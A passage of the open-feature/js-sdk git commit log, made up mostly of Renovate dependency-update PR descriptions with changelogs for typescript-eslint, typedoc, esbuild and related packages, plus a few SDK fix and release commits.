[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.1.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#710-2024-02-26)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.0.2...v7.1.0)

##### 🚀 Features

-   **eslint-plugin:** add \*-type-checked-only configs

- **eslint-plugin:** \[naming-convention] support the auto-accessor
syntax

-   **eslint-plugin:** \[consistent-return] add new rule

##### 🩹 Fixes

- **eslint-plugin:** \[prefer-optional-chan] allow typeof for avoiding
reference error

-   **eslint-plugin:** \[no-misused-promises] improve check union types

- **eslint-plugin:** \[no-use-before-define] fix false positive type
reference in as, satisfies

##### ❤️  Thank You

-   Arka Pratim Chaudhuri
-   Josh Goldberg 
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.0.2`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#702-2024-02-19)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.0.1...v7.0.2)

##### 🩹 Fixes

- fix tsconfig-less check errors, fix `@types/eslint` incompatibilities,
add tests

##### ❤️  Thank You

-   Brad Zacher
-   Gareth Jones

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.0.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#701-2024-02-12)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.0.0...v7.0.1)

##### 🩹 Fixes

-   **eslint-plugin:** update peer dep for parser

##### ❤️  Thank You

-   Tim Dorr

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.0.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#700-2024-02-12)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.21.0...v7.0.0)

##### 🚀 Features

-   ⚠️  bump ESLint, NodeJS, and TS minimum version requirements

-   add support for flat configs

##### 🩹 Fixes

- **eslint-plugin:** \[prefer-find] stop throwing type errors when
converting symbols to numbers

##### ⚠️  Breaking Changes

-   ⚠️  bump ESLint, NodeJS, and TS minimum version requirements

##### ❤️  Thank You

-   Brad Zacher
-   Kirk Waiblinger
-   StyleShit
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

#### 6.21.0 (2024-02-05)

##### 🚀 Features

-   export plugin metadata

-   allow `parserOptions.project: false`

-   **eslint-plugin:** add rule prefer-find

##### 🩹 Fixes

- **eslint-plugin:** \[no-unused-vars] don't report on types referenced
in export assignment expression

- **eslint-plugin:** \[switch-exhaustiveness-check] better support for
intersections, infinite types, non-union values

- **eslint-plugin:** \[consistent-type-imports] dont report on types
used in export assignment expressions

- **eslint-plugin:** \[no-unnecessary-condition] handle left-hand
optional with exactOptionalPropertyTypes option

- **eslint-plugin:** \[class-literal-property-style] allow getter when
same key setter exists

- **eslint-plugin:** \[no-unnecessary-type-assertion] provide valid
fixes for assertions with extra tokens before `as` keyword

##### ❤️  Thank You

-   auvred
-   Brad Zacher
-   Kirk Waiblinger
-   Pete Gonzalez
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

#### 6.20.0 (2024-01-29)

##### 🚀 Features

- **eslint-plugin:** \[member-ordering] allow easy reuse of the default
ordering

##### 🩹 Fixes

- **eslint-plugin:** \[no-useless-template-literals] incorrect bigint
autofix result

- **eslint-plugin:** \[prefer-nullish-coalescing] treat any/unknown as
non-nullable

- **eslint-plugin:** \[no-useless-template-literals] report Infinity &
NaN

-   **eslint-plugin:** \[prefer-readonly] disable checking accessors

##### ❤️  Thank You

-   Alex Parloti
-   auvred
-   James Browning
-   StyleShit
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

#### 6.19.1 (2024-01-22)

##### 🩹 Fixes

- **type-utils:** preventing isUnsafeAssignment infinite recursive calls

- **eslint-plugin:** \[no-unnecessary-condition] fix false positive for
type variable

##### ❤️  Thank You

-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

#### 6.19.0 (2024-01-15)

##### 🚀 Features

-   **eslint-plugin:** \[prefer-promise-reject-errors] add rule

-   **eslint-plugin:** \[no-array-delete] add new rule

- **eslint-plugin:** \[no-useless-template-literals] add fix suggestions

##### 🩹 Fixes

- **eslint-plugin:** \[no-unnecessary-type-assertion] detect unnecessary
non-null-assertion on a call expression

- **eslint-plugin:** \[no-unnecesary-type-assertion] treat unknown/any
as nullable

##### ❤️  Thank You

-   auvred
-   Brad Zacher
-   Josh Goldberg 
-   Joshua Chen
-   LJX
-   Steven
-   StyleShit

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

#### 6.18.1 (2024-01-08)

##### 🩹 Fixes

- **eslint-plugin:** \[no-non-null-assertion] provide valid fix when
member access is on next line

- **eslint-plugin:** \[no-unnecessary-condition] improve checking
optional callee

- **eslint-plugin:** \[prefer-readonly] support modifiers of unions and
intersections

- **eslint-plugin:** \[switch-exhaustiveness-check] fix new
allowDefaultCaseForExhaustiveSwitch option

##### ❤️  Thank You

-   auvred
-   James
-   Josh Goldberg 
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

#### 6.18.0 (2024-01-06)

##### 🚀 Features

-   **typescript-estree:** throw on invalid update expressions

- **eslint-plugin:** \[no-var-requires, no-require-imports] allow option

##### ❤️  Thank You

-   auvred
-   Joshua Chen

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

</details>

<details>
<summary>typescript-eslint/typescript-eslint
(@&#8203;typescript-eslint/parser)</summary>

###
[`v7.8.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#780-2024-04-29)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.7.1...v7.8.0)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.7.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#771-2024-04-22)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.7.0...v7.7.1)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.7.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#770-2024-04-15)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.6.0...v7.7.0)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.6.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#760-2024-04-08)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.5.0...v7.6.0)

##### 🚀 Features

-   bump npm dependency ranges

##### ❤️  Thank You

-   Abraham Guo
-   auvred
-   Brad Zacher

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.5.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#750-2024-04-01)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.4.0...v7.5.0)

##### 🩹 Fixes

-   **parser:** disallow `errorOnTypeScriptSyntacticAndSemanticIssues`

##### ❤️  Thank You

-   Brad Zacher
-   Kim Sang Du
-   Mark de Dios
-   Naru
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.4.0`](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.3.1...5d2469142262672e381db3b4a4e2bffa80984810)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.3.1...v7.4.0)

###
[`v7.3.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#731-2024-03-18)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.3.0...v7.3.1)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.3.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#730-2024-03-18)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.2.0...v7.3.0)

##### 🩹 Fixes

-   correct `engines.node` constraints in `package.json`

##### ❤️  Thank You

-   Abraham Guo
-   Alexu
-   Arka Pratim Chaudhuri
-   auvred
-   Derrick Isaacson
-   fnx
-   Josh Goldberg 
-   Kirk Waiblinger
-   Marta Cardoso
-   Michaël De Boey
-   Tristan Rasmussen
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.2.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#720-2024-03-11)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.1.1...v7.2.0)

##### 🚀 Features

-   support TS 5.4

##### ❤️  Thank You

-   Arka Pratim Chaudhuri
-   auvred
-   Chris Plummer
-   Fotis Papadogeorgopoulos
-   Josh Goldberg 
-   Kirk Waiblinger
-   Wayne Zhang
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.1.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#711-2024-03-04)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.1.0...v7.1.1)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.1.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#710-2024-02-26)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.0.2...v7.1.0)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.0.2`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#702-2024-02-19)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.0.1...v7.0.2)

##### 🩹 Fixes

- fix tsconfig-less check errors, fix `@types/eslint` incompatibilities,
add tests

##### ❤️  Thank You

-   Brad Zacher
-   Gareth Jones

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.0.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#701-2024-02-12)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.0.0...v7.0.1)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.0.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#700-2024-02-12)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.21.0...v7.0.0)

##### 🚀 Features

-   ⚠️  bump ESLint, NodeJS, and TS minimum version requirements

-   add support for flat configs

##### ⚠️  Breaking Changes

-   ⚠️  bump ESLint, NodeJS, and TS minimum version requirements

##### ❤️  Thank You

-   Brad Zacher
-   Kirk Waiblinger
-   StyleShit
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

#### 6.21.0 (2024-02-05)

##### 🚀 Features

-   allow `parserOptions.project: false`

##### ❤️  Thank You

-   auvred
-   Brad Zacher
-   Kirk Waiblinger
-   Pete Gonzalez
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

#### 6.20.0 (2024-01-29)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

#### 6.19.1 (2024-01-22)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

#### 6.19.0 (2024-01-15)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

#### 6.18.1 (2024-01-08)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

#### 6.18.0 (2024-01-06)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4xNzMuMCIsInVwZGF0ZWRJblZlciI6IjM3LjMzMS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-05-06 14:23:26 -04:00
renovate[bot] b288a99e27
chore(deps): update dependency @types/node to v20.12.8 (#793)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/node](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node))
| [`20.11.16` ->
`20.12.8`](https://renovatebot.com/diffs/npm/@types%2fnode/20.11.16/20.12.8)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.12.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.12.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.11.16/20.12.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.11.16/20.12.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4xMzUuMCIsInVwZGF0ZWRJblZlciI6IjM3LjMzMS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-05-06 18:19:22 +00:00
renovate[bot] 804fba329f
chore(deps): update dependency eslint-plugin-check-file to v2.8.0 (#825)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-check-file](https://togithub.com/dukeluo/eslint-plugin-check-file)
| [`2.6.2` ->
`2.8.0`](https://renovatebot.com/diffs/npm/eslint-plugin-check-file/2.6.2/2.8.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-check-file/2.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-check-file/2.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-check-file/2.6.2/2.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-check-file/2.6.2/2.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>dukeluo/eslint-plugin-check-file
(eslint-plugin-check-file)</summary>

###
[`v2.8.0`](https://togithub.com/dukeluo/eslint-plugin-check-file/blob/HEAD/CHANGELOG.md#280---2024-04-14)

[Compare
Source](https://togithub.com/dukeluo/eslint-plugin-check-file/compare/v2.7.1...v2.8.0)

##### Added

-   support flat config for ESLint v9.0.0

###
[`v2.7.1`](https://togithub.com/dukeluo/eslint-plugin-check-file/blob/HEAD/CHANGELOG.md#271---2024-02-24)

[Compare
Source](https://togithub.com/dukeluo/eslint-plugin-check-file/compare/v2.7.0...v2.7.1)

##### Fixed

- the rule `filename-blocklist` can set the suggested glob pattern as
empty string when `errorMessage` is set

###
[`v2.7.0`](https://togithub.com/dukeluo/eslint-plugin-check-file/blob/HEAD/CHANGELOG.md#270---2024-02-18)

[Compare
Source](https://togithub.com/dukeluo/eslint-plugin-check-file/compare/v2.6.2...v2.7.0)

##### Added

- the rule `filename-naming-convention` can set `errorMessage` property
to customize the error message
- the rule `filename-blocklist` can set `errorMessage` property to
customize the error message

##### Changed

-   Node.js version should >= 18

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4yMDAuMCIsInVwZGF0ZWRJblZlciI6IjM3LjMwMS40IiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-05-06 18:17:35 +00:00
Michael Beemer 6c25f29f11
fix: skip reconciling event for synchronous onContextChange operations (#931)
## This PR

- skips emitting a reconciling event for synchronous onContextChange
operations

### Notes

This will avoid unexpected component rerenders for synchronous
onContextChange operations.

The spec states that the SDK may avoid emitting the
`PROVIDER_RECONCILING` if a provider can reconcile synchronously.


https://openfeature.dev/specification/sections/events#event-handlers-and-context-reconciliation

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-05-06 18:15:23 +00:00
renovate[bot] 488ec8a259
chore(deps): update dependency typedoc to v0.25.13 (#924)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [typedoc](https://typedoc.org)
([source](https://togithub.com/TypeStrong/TypeDoc)) | [`0.25.12` ->
`0.25.13`](https://renovatebot.com/diffs/npm/typedoc/0.25.12/0.25.13) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.25.13?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.25.13?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.25.12/0.25.13?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.25.12/0.25.13?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

###
[`v0.25.13`](https://togithub.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v02513-2024-04-07)

[Compare
Source](https://togithub.com/TypeStrong/TypeDoc/compare/v0.25.12...v0.25.13)

##### Features

- Added `gitRevision:short` placeholder option to `--sourceLinkTemplate`
option,
[#&#8203;2529](https://togithub.com/TypeStrong/TypeDoc/issues/2529).
Links generated by TypeDoc will now default to using the non-short git
revision.
- Moved "Generated by TypeDoc" footer into a `<footer>` tag, added
`footer.begin` and `footer.end`
render hooks for use by custom plugins,
[#&#8203;2532](https://togithub.com/TypeStrong/TypeDoc/issues/2532).

##### Bug Fixes

- Fixed conversion of `NoInfer` missing type parameter reference,
[#&#8203;2539](https://togithub.com/TypeStrong/TypeDoc/issues/2539).
-   Linking to a member on a page no longer incorrectly claims that
"This member is normally hidden due to your filter settings" for every
member.

##### Thanks!

-   [@&#8203;xuhdev](https://togithub.com/xuhdev)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zMzEuMCIsInVwZGF0ZWRJblZlciI6IjM3LjMzMS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-05-06 14:16:06 -04:00
Lukas Reining e9a25c21cb
fix: removes exports of OpenFeatureClient class and makes event props readonly (#918)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

Removes OpenFeatureClient class from exports and makes event details
readonly as described here:
https://github.com/open-feature/js-sdk/issues/799

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2024-05-02 14:36:32 +00:00
OpenFeature Bot 6dd558ee61
chore(main): release react-sdk 0.3.4 (#923)
🤖 I have created a release *beep* *boop*
---


##
[0.3.4](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.3.3...react-sdk-v0.3.4)
(2024-05-01)


### 🐛 Bug Fixes

* delayed suspense causes "flicker"
([#921](https://github.com/open-feature/js-sdk/issues/921))
([4bce2a0](4bce2a0f1a))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-05-01 09:53:21 -04:00
renovate[bot] 2bbede7711
chore(deps): update dependency esbuild to v0.20.2 (#829)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [esbuild](https://togithub.com/evanw/esbuild) | [`0.20.0` ->
`0.20.2`](https://renovatebot.com/diffs/npm/esbuild/0.20.0/0.20.2) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/esbuild/0.20.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/esbuild/0.20.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/esbuild/0.20.0/0.20.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/esbuild/0.20.0/0.20.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>evanw/esbuild (esbuild)</summary>

###
[`v0.20.2`](https://togithub.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0202)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.20.1...v0.20.2)

- Support TypeScript experimental decorators on `abstract` class fields
([#&#8203;3684](https://togithub.com/evanw/esbuild/issues/3684))

With this release, you can now use TypeScript experimental decorators on
`abstract` class fields. This was silently compiled incorrectly in
esbuild 0.19.7 and below, and was an error from esbuild 0.19.8 to
esbuild 0.20.1. Code such as the following should now work correctly:

    ```ts
    // Original code
    const log = (x: any, y: string) => console.log(y)
    abstract class Foo { @&#8203;log abstract foo: string }
    new class extends Foo { foo = '' }

// Old output (with --loader=ts
--tsconfig-raw={\"compilerOptions\":{\"experimentalDecorators\":true}})
    const log = (x, y) => console.log(y);
    class Foo {
    }
    new class extends Foo {
      foo = "";
    }();

// New output (with --loader=ts
--tsconfig-raw={\"compilerOptions\":{\"experimentalDecorators\":true}})
    const log = (x, y) => console.log(y);
    class Foo {
    }
    __decorateClass([
      log
    ], Foo.prototype, "foo", 2);
    new class extends Foo {
      foo = "";
    }();
    ```

- JSON loader now preserves `__proto__` properties
([#&#8203;3700](https://togithub.com/evanw/esbuild/issues/3700))

Copying JSON source code into a JavaScript file will change its meaning
if a JSON object contains the `__proto__` key. A literal `__proto__`
property in a JavaScript object literal sets the prototype of the object
instead of adding a property named `__proto__`, while a literal
`__proto__` property in a JSON object literal just adds a property named
`__proto__`. With this release, esbuild will now work around this
problem by converting JSON to JavaScript with a computed property key in
this case:

    ```js
    // Original code
    import data from 'data:application/json,{"__proto__":{"fail":true}}'
    if (Object.getPrototypeOf(data)?.fail) throw 'fail'

    // Old output (with --bundle)
    (() => {
      // <data:application/json,{"__proto__":{"fail":true}}>
      var json_proto_fail_true_default = { __proto__: { fail: true } };

      // entry.js
      if (Object.getPrototypeOf(json_proto_fail_true_default)?.fail)
        throw "fail";
    })();

    // New output (with --bundle)
    (() => {
      // <data:application/json,{"__proto__":{"fail":true}}>
var json_proto_fail_true_default = { ["__proto__"]: { fail: true } };

      // example.mjs
      if (Object.getPrototypeOf(json_proto_fail_true_default)?.fail)
        throw "fail";
    })();
    ```

- Improve dead code removal of `switch` statements
([#&#8203;3659](https://togithub.com/evanw/esbuild/issues/3659))

With this release, esbuild will now remove `switch` statements in
branches when minifying if they are known to never be evaluated:

    ```js
    // Original code
    if (true) foo(); else switch (bar) { case 1: baz(); break }

    // Old output (with --minify)
    if(1)foo();else switch(bar){case 1:}

    // New output (with --minify)
    foo();
    ```

- Empty enums should behave like an object literal
([#&#8203;3657](https://togithub.com/evanw/esbuild/issues/3657))

TypeScript allows you to create an empty enum and add properties to it
at run time. While people usually use an empty object literal for this
instead of a TypeScript enum, esbuild's enum transform didn't anticipate
this use case and generated `undefined` instead of `{}` for an empty
enum. With this release, you can now use an empty enum to generate an
empty object literal.

    ```ts
    // Original code
    enum Foo {}

